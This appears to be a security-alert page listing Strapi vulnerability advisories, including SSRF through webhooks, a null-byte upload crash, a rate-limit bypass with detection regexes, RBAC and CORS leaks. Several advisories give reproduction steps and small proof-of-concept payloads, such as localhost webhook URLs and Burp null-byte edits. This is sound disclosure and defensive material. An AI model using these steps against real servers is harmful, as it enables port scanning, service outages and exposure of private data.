js const { auth } = ctx.state; const data = ctx.request.body; const userSchema = strapi.getModel("plugin::users-permissions.user");

sanitize.contentAPI.input(data, userSchema, { auth });

here's the solution I've temporarily kept to myself, code snippet

js const body = ctx.request.body;

const { attributes } = strapi.getModel("plugin::users-permissions.user");

const sanitizedData = .omitBy(body, (data, key) => { const attribute = attributes[key];

if (.isNil(attribute)) { return false; }

//? If you want, you can throw an error for fields that we did not expect.

// if (.isNil(attribute)) // throw new ApplicationError(Unexpected value ${key});

// if private value is true, we do not want to send it to the database. return attribute.private; });

return sanitizedData;

1 / 2
First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Description In Strapi latest version, at function Settings -> Webhooks, the application allows us to input a URL in order to create a Webook connection. However, we can input into this field the local domains such as localhost, 127.0.0.1, 0.0.0.0,.... in order to make the Application fetching into the internal itself, which causes the vulnerability Server - Side Request Forgery (SSRF).

Payloads - http://127.0.0.1:80 -> The Port is not open - http://127.0.0.1:1337 -> The Port which Strapi is running on

Steps to Reproduce - First of all, let's input the URL http://127.0.0.1:80 into the URL field, and click "Save".

!CleanShot 2024-06-04 at 22 45 17@2x

- Next, use the "Trigger" function and use Burp Suite to capture the request / response

!CleanShot 2024-06-04 at 22 47 50@2x

- The server return request to http://127.0.0.1/ failed, reason: connect ECONNREFUSED 127.0.0.1:80, BECAUSE the Port 80 is not open, since we are running Strapi on Port 1337, let's change the URL we input above into http://127.0.0.1:1337

!CleanShot 2024-06-04 at 22 50 13@2x

- Continue to click the "Trigger" function, use Burp to capture the request / response

!CleanShot 2024-06-04 at 22 53 25@2x

- The server returns Method Not Allowed, which means that there actually is a Port 1337 running the machine.

PoC Here is the Poc Video, please check:

https://drive.google.com/file/d/1EvVp9lMpYnGLmUyr16gQ2RetI-GqYjV/view?usp=sharing

Impact

- If there is a real server running Strapi with many ports open, by using this SSRF vulnerability, the attacker can brute-force through all 65535 ports to know what ports are open.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

In Strapi before 3.2.5, there is no admin::hasPermissions restriction for CTB (aka content-type-builder) routes.

1 / 2
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi before 3.6.9 and 4.x before 4.1.5 allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a cleartext password, leading to getting API documentation for further API attacks.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

An authenticated user with access to the Strapi admin panel can view private and sensitive data, such as email and password reset tokens, for API users if content types accessible to the authenticated user contain relationships to API users (from:users-permissions). There are many scenarios in which such details from API users can leak in the JSON response within the admin panel, either through a direct or indirect relationship. Access to this information enables a user to compromise these users’ accounts if the password reset API endpoints have been enabled. In a worst-case scenario, a low-privileged user could get access to a high-privileged API account, and could read and modify any data as well as block access to both the admin panel and API by revoking privileges for all other users.

First published (updated )
Severity
7.2
OS Command Injection, Command Injection
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Arbitrary Command Injection in GitHub repository strapi/strapi prior to 4.1.0.

First published (updated )
Severity
7.1
Infoleak
AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:L/A:N

Summary Anyone (Strapi developers, users, plugins) can make every attribute of a Content-Type public without knowing it.

Details When dealing with content-types inside a Strapi instance, we can extend those using the appropriate container: javascript strapi.container.get('content-types').extend(contentTypeUID, (contentType) => newContentType); The vulnerability only affects the handling of content types by Strapi, not the actual content types themselves. Users can use plugins or modify their own content types without realizing that the privateAttributes getter is being removed, which can result in any attribute becoming public. This can lead to sensitive information being exposed or the entire system being taken control of by an attacker(having access to password hashes).

PoC Extend any content type on runtime (like in the bootstrap functions) and do a copy of the content-type object. javascript strapi.container.get('content-types').extend(contentTypeUID, (contentType) => { const newCT = { ... contentType, attributes: { ...contentType.attributes, newAttr: {} } }; return newCT; }); This will have as effect to remove the getter and as we rely on it in sanitization, every attributes will be considered as public.

Impact Everyone can be impacted. Depending on how people are using/extending content-types. If the users are mutating the content-type, they will not be affected.

1 / 2
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary of CVE-2025-64526 Vulnerability Details

- CVE: CVE-2025-64526 - CVSS v3.1 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N (6.9 — Medium) - Affected Versions: @strapi/plugin-users-permissions <=5.44.0 - How to Patch: Immediately update your Strapi to >=5.45.0

Description of CVE-2025-64526

In Strapi versions prior to 5.45.0, the rate-limit middleware in the users-permissions plugin derived its rate-limit key in part from ctx.request.body.email, including on routes whose body schema does not contain an email field (/auth/local, /auth/reset-password, /auth/change-password). An unauthenticated attacker could include an arbitrary email value in the request body to obtain a fresh rate-limit key per request, effectively bypassing per-IP throttling on those routes and enabling high-volume credential brute-force, password-reset code brute-force, and credential-stuffing attempts.

The rate-limit key was constructed as ${userIdentifier}:${requestPath}:${ctx.request.ip}, where userIdentifier = ctx.request.body.email. On routes that legitimately use email as their identifier (e.g. /auth/forgot-password, /auth/local/register), this scoping is correct. On routes that use a different identifier (identifier for login, code for password reset, currentPassword for password change), the email field was not part of the route contract, but the middleware still incorporated it into the key, allowing a caller to rotate the value and obtain a unique key on every request.

The patch maintains an allow-list of routes that legitimately key on the email field and excludes that key component on every other route the middleware is mounted on. OAuth callback paths (/connect/) are treated identifier-less. On routes outside the allow-list, the middleware now falls back to a fixed identifier-less key, ensuring per-IP throttling remains effective even when the request body is attacker-controlled.

IoC's for CVE-2025-64526

Indicators that an instance running an unpatched version may have been exploited:

- Unusually high volumes of POST requests to /api/auth/local, /api/auth/reset-password, or /api/auth/change-password from a single IP within a 5-minute window without 429 (Too Many Requests) responses - Request bodies on /api/auth/local containing both identifier AND email fields where email varies per request. Body shape regex: "identifier"\s:\s"[^"]",\s"email"\s:\s"[^"]" - Request bodies on /api/auth/reset-password containing an unexpected email field alongside code. Body shape regex: "code"\s:\s"[^"]",."email"\s: - Server logs showing many distinct rate-limit key prefixes for the same IP+route combination within the rate-limit window - Successful authentication or password reset following hundreds of preceding 401/400 responses from the same IP

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
Infoleak
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Summary Field level permissions not being respected in relationship title. If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible.

Details No RBAC checks on on the relationship the relation endpoint returns

PoC Setup Create a fresh strapi instance Create a new content type in the newly created content type add a relation to the users-permissions user. Save. Create a users-permissions user Use your created content type and create an entry in it related to the users-permisisons user

Go to settings -> Admin panel -> Roles -> Author Give the author role full permissions on the content type your created. Make sure they don't have any permission to see User Save

Create a new admin account with only the author role CVE login on the newly created author acount. go to the content manager to the colection type you created with the relationship to userspermissionsuser You now see a field you don't have permissions to view.

Impact RBAC field level checks leaks data selected by the admin user as relationship title What could be sensitive fields that they should not be allowed to see. by the person having this specific role.

1 / 2
First published (updated )
Severity
6.5
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary A Denial-of-Service was found in the media upload process causing the server to crash without restarting, affecting either development and production environments.

Details Usually, errors in the application cause it to log the error and keep it running for other clients. This behavior, in contrast, stops the server execution, making it unavailable for any clients until it's manually restarted.

PoC Due to a bug in what we believe to be Burp’s decoding system, we couldn’t produce a valid file to easily reproduce the vulnerability. Instead, the issue can be reproduced by following these steps: 1. Configure Burp’s proxy between a browser and a Strapi server 2. Log in and upload an image through the Media Library page while having Burp’s interceptor turned on 3. After capturing the upload POST request in Burp, add %00 at the end of the file extension from the Content-Disposition, in the filename parameter (See reference image 1 below) 4. Using the cursor, select the added %00 and right-click it. Click in Convert selection > URL > URL decode to transform the selected text into a null byte 5. Forward the modified request. The server should print an error and crash with the error ERRINVALIDARGVALUE (See reference log 1 below)

By following the data flow, we reached the line of code where we believe the DoS is being caused. The simpler way of fixing this vulnerability seems to be avoiding the error thrown by whitelisting the characters used in the extension.

Reference Image 1 !image

Reference Log 1 [2024-03-22 10:23:42.629] http: POST /upload (22 ms) 400 node:internal/fs/utils:379 const err = new ERRINVALIDARGVALUE( ^

TypeError [ERRINVALIDARGVALUE]: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/public/uploads/replacemepng88efe6a165.png\x00' at new WriteStream (node:internal/fs/streams:340:5) at Object.createWriteStream (node:fs:3123:10) at /mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/provider-upload-local/dist/index.js:71:33 at new Promise (<anonymous>) at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/provider-upload-local/dist/index.js:68:16) at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/plugin-upload/server/register.js:80:35) at Object.upload (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/plugin-upload/server/services/provider.js:16:46) at Object.uploadImage (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/nodemodules/@strapi/plugin-upload/server/services/upload.js:220:48) { code: 'ERRINVALIDARGVALUE' }

Impact Denial-of-Service occurs when a service becomes unavailable for users or other services. By sending a specially-crafted request, the server crashes without restarting. The entire server crashes with the thrown error instead of crashing only the single request and returning error 500 to the user. Any user with access to the file upload functionality is able to exploit this vulnerability, affecting applications running in both development mode and production mode as well.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Summary

A CORS misconfiguration vulnerability exists in default installations of Strapi where attacker-controlled origins are improperly reflected in API responses.

Technical Details

By default, Strapi reflects the value of the Origin header back in the Access-Control-Allow-Origin response header without proper validation or whitelisting.

Example: Origin: http://localhost:8888 Access-Control-Allow-Origin: http://localhost:8888 Access-Control-Allow-Credentials: true

This allows an attacker-controlled site (on a different port, like 8888) to send credentialed requests to the Strapi backend on 1337.

Suggested Fix

1. Explicitly whitelist trusted origins 2. Avoid reflecting dynamic origins

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Input Validation
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Strapi before 3.0.2 could allow a remote authenticated attacker to bypass security restrictions because templates are stored in a global variable without any sanitation. By sending a specially crafted request, an attacker could exploit this vulnerability to update the email template for both password reset and account confirmation emails.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203